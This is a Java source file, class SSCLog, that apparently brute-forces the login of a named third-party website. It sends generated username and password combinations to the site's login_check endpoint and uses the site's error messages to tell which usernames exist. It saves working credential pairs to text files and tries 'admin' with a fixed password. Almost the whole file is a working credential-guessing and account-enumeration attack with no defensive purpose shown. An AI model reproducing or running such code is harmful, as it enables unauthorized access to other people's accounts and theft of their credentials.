/**
*
*/
package test;
import java.util.ArrayList;
import java.util.List;
import jsoup.ConnectionManager;
import org.jsoup.Connection;
import org.jsoup.nodes.Document;
import common.Arrange;
import common.Combination;
import cputils.XmlUtils;
/**
* @author zhengweiwei
* @date 2014年8月8日
*/
public class SSCLog {
private String user;
private String pwd;
private String users = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
private String pwds = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+~`;',.";
public static void main(String[] args) {
SSCLog ssc = new SSCLog();
// ssc.getUser();
// ssc.randomUser();
// ssc.randomPwd();
ssc.user = "admin";
ssc.pwd = "kijun ";
ssc.getUserPwd(ssc.user, ssc.pwd);
// ssc.getUser(ssc.user, ssc.pwd);
}
public boolean getUser(String user,String pwd) {
boolean existed = false;
try {
Connection conn = null;
String url = "http://www.hq6m.com/?act=login_check&user="+user+"&pwd="+pwd;
conn = ConnectionManager.getInstance().getConnection(url);
// conn.cookie("id", "21").data("id","21","page",""+pageNo,"rows","50");
Document doc = conn.get();
String res = doc.text();
if ("用户名格式不正确,用户名不存在".indexOf(res)>-1) {
System.out.println(user+":user error or not existed.");
}else {
existed = true;
if ("登陆密码不正确".indexOf(res) == -1){
// if (XxhhPic.isExisted(user+":"+pwd)) {
XmlUtils.writeDataFile(user+":"+pwd+"\r\n", "SSCUserPwd.txt", true);
System.out.println(" "+ user+":"+pwd+" download ok...");
// }
}
// if (XxhhPic.isExisted(user)) {
// XmlUtils.writeDataFile(user+"\r\n", "SSCUser.txt", true);
// System.out.println(user+" download ok...");
// }
}
} catch (Exception e) {
e.printStackTrace();
}
return existed;
}
public void getUserPwd(String user,String pwd) {
try {
Connection conn = null;
String url = "http://www.hq6m.com/?act=login_check&user="+user+"&pwd="+pwd;
conn = ConnectionManager.getInstance().getConnection(url);
// conn.cookie("id", "21").data("id","21","page",""+pageNo,"rows","50");
Document doc = conn.post();
String res = doc.text();
System.out.println(res);
if ("用户名格式不正确,登陆密码不正确,错误[错误码: -5]".indexOf(res)>-1
|| "密码格式不正确".indexOf(res) > -1) {
}else{
// if (XxhhPic.isExisted(user+":"+pwd)) {
XmlUtils.writeDataFile(user+":"+pwd+"\r\n", "SSCUser.txt", true);
System.out.println(user+":"+pwd+" download ok...");
// }
}
} catch (Exception e) {
e.printStackTrace();
}
}
private void randomUser(){
users = "abcdefghijklmnopqrstuvwxyz";
String[] uArr = new String[users.length()];
for (int i = 0; i < users.length(); i++) {
uArr[i] = String.valueOf(users.charAt(i));
}
Combination com = new Combination();
com.setSeparator(",");
com.mn(uArr, 6);
List<String> all = new ArrayList<String>();
for (String string : com.getCombList()) {
// System.out.println(string);
Arrange arrange = new Arrange();
arrange.perm(string.split(","), 0, string.split(",").length-1);
for (Object object : arrange.getArrangeList()) {
String u = object.toString().replaceAll(",", "");
// all.add(object.toString().replaceAll(",", ""));
// System.out.println(object.toString().replaceAll(",", ""));
if(getUser(u,u)){
all.add(u);
}
}
}
for (String string : all) {
XmlUtils.writeDataFile(string+"\r\n", "SSCUser.txt", true);
// getUser(string,string);
}
// for (int i = 5; i < 17; i++) {
// Combination com = new Combination();
// com.setSeparator("");
// com.mn(uArr, i);
// for (String string : com.getCombList()) {
// XmlUtils.writeDataFile(string+"\r\n", "user.txt", true);
// System.out.println(string+" ...");
// }
// }
// for (int i = 5; i < 17; i++) {
// Combination com = new Combination();
// com.setSeparator("");
// com.mn(uArr, i);
// for (String string : com.getCombList()) {
// XmlUtils.writeDataFile(string+"\r\n", "user.txt", true);
// System.out.println(string+" ...");
// }
// }
}
private void randomPwd(){
String[] pArr = new String[pwds.length()];
for (int i = 0; i < pwds.length(); i++) {
pArr[i] = String.valueOf(pwds.charAt(i));
}
for (int i = 6; i < 33; i++) {
Combination com = new Combination();
com.setSeparator("");
com.mn(pArr, i);
for (String string : com.getCombList()) {
XmlUtils.writeDataFile(string+"\r\n", "pwd.txt", true);
System.out.println(string+" ...");
}
}
}
}